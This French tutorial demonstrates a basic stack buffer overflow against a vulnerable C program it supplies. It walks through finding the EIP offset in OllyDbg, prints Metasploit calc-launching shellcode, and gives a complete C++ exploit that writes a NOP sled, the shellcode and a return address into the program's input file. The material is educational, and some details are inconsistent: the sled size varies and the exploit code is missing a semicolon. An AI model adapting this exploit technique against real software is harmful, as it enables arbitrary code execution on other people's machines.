Tutoriel démonstration d`exploitation d`un Buffer OverFlow Basique
Transcription
Tutoriel démonstration d`exploitation d`un Buffer OverFlow Basique
Tutoriel démonstration d'exploitation d'un Buffer OverFlow Basique Tutoriel Inspiré/Traduit de PhoenixBit . code source vulnerable : Vuln.c #include <stdio.h> #include <string.h> int ReadaFile(char*,char*,int); int VulnFunction(char *cptr){ char LocalBuffer[300] = "Donnees Fichier : "; strcpy(LocalBuffer+18,cptr); printf("%s\n\n\n",LocalBuffer); return 0; } int main(){ char buf[1000]; char FileName[] = "monfichier.txt"; ReadaFile(buf,FileName,1000); VulnFunction(buf); system("Pause"); return 0; } int ReadaFile(char *buffer,char *Fname,int Limit){ int c; int n=0; FILE *f; f = fopen(Fname,"r"); while((c=getc(f))!=EOF) { if (n<Limit){ buffer[n++] = c; } } buffer[n++] = 0; fclose(f); return 0; } Les buffer OverFlow (Dépassement de tampon) Un buffer overflow est une attaque très efficace et assez compliquée à réaliser. Elle vise à exploiter un débordement de mémoire sur une application dans le but d'y exécuter un code arbitraire qui compromettra la machine utilisant le soft vulnérable (exécution de commande , prise de contrôle de la machine , acquisition des droits administrateur, etc ) l'exploitation d'un buffer overflow consiste a faire crasher un soft vulnerable en y écrivant dans don Buffer (zone de mémoire) plus de données qu'il ne peut en contenir ce qui permet donc avec une bonne syntax utilisé (shellcode) d'écrire du code arbitraire , et qui serra donc exécuté par la suite sur la machine . Cette technique unpeu complexe permet une prise de contrôle total sur la machine utilisant le soft vulnérable Dans le code source vulnérable suivant , un fichier nomé monfichier.txt va etre ouvert pour y mettre en mémoire son contenu . tout dabords on fait subir au programme un test simple qui consiste a le "bouriner" de A (c'est en quelque sorte une règle pour la détection des buffer overflow mais sa pourrait être n'importe quoi d'autre ) une foi "bouriné" de A ( A x 400 dans notre exemple ) le programme vulnérable va planter , il y a donc débordement dans la mémoire par la suite on va devoir généré un nombre important de hash , les metre les un a la suite des autre pour y effectué un débordement avec , avec ollyDBG nous verrons donc l'adresse ou le code a débordé[Access Violation when executing "33326463" dans notre exemple ] , cette adresse mise au bon format [par exemple 30623764 devient %64%37%62%30 ] va etre converti au format texte ASCII [d7b0] , puis le résultat obtenue rechercher dans la ligne des hash qui on précédement fait débordé la mémoire , se code correspond aux commencement du débordement de la mémoire , se qui le précede est donc une chaine dont sa taille serra a soustraire avec celle du shell ( 298 - 164 dans notre cas ) et dont le résultat sera a mutliplier par le code de débordement [ \x90 multiplié par 134 sur notre exemple ] Maintenant nous passons du coté exploit , 3 partie sont importante pour l'execution du code arbitraire : 1 la surcharge de la memoire dans notre cas donc 140 x \x90 : "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" 2 le shell code ( http://metasploit.com:55555/ ) "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b" "\x27\x3d\x46\x83\xeb\xfc\xe2\xf4\x97\xcf\x79\x46\x6b\x27\xb6\x03" "\x57\xac\x41\x43\x13\x26\xd2\xcd\x24\x3f\xb6\x19\x4b\x26\xd6\x0f" "\xe0\x13\xb6\x47\x85\x16\xfd\xdf\xc7\xa3\xfd\x32\x6c\xe6\xf7\x4b" "\x6a\xe5\xd6\xb2\x50\x73\x19\x42\x1e\xc2\xb6\x19\x4f\x26\xd6\x20" "\xe0\x2b\x76\xcd\x34\x3b\x3c\xad\xe0\x3b\xb6\x47\x80\xae\x61\x62" "\x6f\xe4\x0c\x86\x0f\xac\x7d\x76\xee\xe7\x45\x4a\xe0\x67\x31\xcd" "\x1b\x3b\x90\xcd\x03\x2f\xd6\x4f\xe0\xa7\x8d\x46\x6b\x27\xb6\x2e" "\x57\x78\x0c\xb0\x0b\x71\xb4\xbe\xe8\xe7\x46\x16\x03\xd7\xb7\x42" "\x34\x4f\xa5\xb8\xe1\x29\x6a\xb9\x8c\x44\x5c\x2a\x08\x09\x58\x3e" "\x0e\x27\x3d\x46"; 3 l'adresse EIP a exploité On va donc d'abord écrire la surcharge de la memoire ( 134 x \x90 dans notre exemple ) Trouver le shellcode sur metasploit ( /!\ ATTENTION : il se pourait que votre shell code ne marche pas malgré que votre technique soit bonne , il faut donc parfois changer le type d'encodage du shell code [ PexFnstenvSub par exemple ] ) et c'est la que commence notre histoire d'adresse EIP* à exploiter ( EIP est le pointeur de la prochaine instruction à exécuter.) pour débuter il faut dabord ouvrir le soft vulnerable via OllyDBG.exe , (avant toute chose compilez l'exploit meme si l'EIP n'est pas valable et lancez le) . une foi ouvert avec ollyDBG , on va chercher dans la derniere feunetre(en bas a droite) l'adresse ou commence le débordement [ search for binary string => 90 90 90 90 ] on tombera donc sur la première adresse ou commence la mise en mémoire (dans notre cas 0022F3A2) par la suite , on se penche sur une autre case en bas a gauche ( Adress | Hex dum | ASCII ... ) et nous allons donc rechercher cette adresse . nous tomberons alors la aussi sur le débordement . il suffit de choisire l'EIP quelques adresse plus bas en plein débordement , se qui donnera dans notre cas 0022F3C2 et le réécrire a la bonne syntax=> \xC2\xF3\x22\x00 voila une foi avoir mis a la bonne syntax le premier code de débordement , inséré le shellcode , mettre a la bonne syntax l'EIP a exploiter , il ne reste plus qu'a les mettre dans le bonne ordre et écrire ( ou envoyer ) les code assemblé obtenue vers le soft vulnérable ou l'endroit ou il va les mettre en mémoire . Exploit : #include <iostream> #include <fstream> using namespace std; int main(){ /* win32_exec_calc.exe */ unsigned char scode[] = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b" "\x27\x3d\x46\x83\xeb\xfc\xe2\xf4\x97\xcf\x79\x46\x6b\x27\xb6\x03" "\x57\xac\x41\x43\x13\x26\xd2\xcd\x24\x3f\xb6\x19\x4b\x26\xd6\x0f" "\xe0\x13\xb6\x47\x85\x16\xfd\xdf\xc7\xa3\xfd\x32\x6c\xe6\xf7\x4b" "\x6a\xe5\xd6\xb2\x50\x73\x19\x42\x1e\xc2\xb6\x19\x4f\x26\xd6\x20" "\xe0\x2b\x76\xcd\x34\x3b\x3c\xad\xe0\x3b\xb6\x47\x80\xae\x61\x62" "\x6f\xe4\x0c\x86\x0f\xac\x7d\x76\xee\xe7\x45\x4a\xe0\x67\x31\xcd" "\x1b\x3b\x90\xcd\x03\x2f\xd6\x4f\xe0\xa7\x8d\x46\x6b\x27\xb6\x2e" "\x57\x78\x0c\xb0\x0b\x71\xb4\xbe\xe8\xe7\x46\x16\x03\xd7\xb7\x42" "\x34\x4f\xa5\xb8\xe1\x29\x6a\xb9\x8c\x44\x5c\x2a\x08\x09\x58\x3e" "\x0e\x27\x3d\x46"; char Nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90"; char EvilEIP[] = "\xC2\xF3\x22\x00"; cout << "exploit en cour ...."; ofstream myFile; myFile.open("monfichier.txt"); myFile << Nops << scode << EvilEIP; myFile.close(); cout << "FINI\n\n\n\n\n"; system("vuln.exe") return 0; } fonctions a risque dont il faut effectuer les vérifications systématiques par rapport a leurs tailles en mémoire alloué : realpath(); sprintf(); strcpy(); strcat(); getwd(); scanf(); gets(); ---------------------Les langage qui ne sont pas vulnérable au Buffer Over-Flow : C# Java VB.net Cyclone ---------------------Traducteur / Auteur : NeoCoderz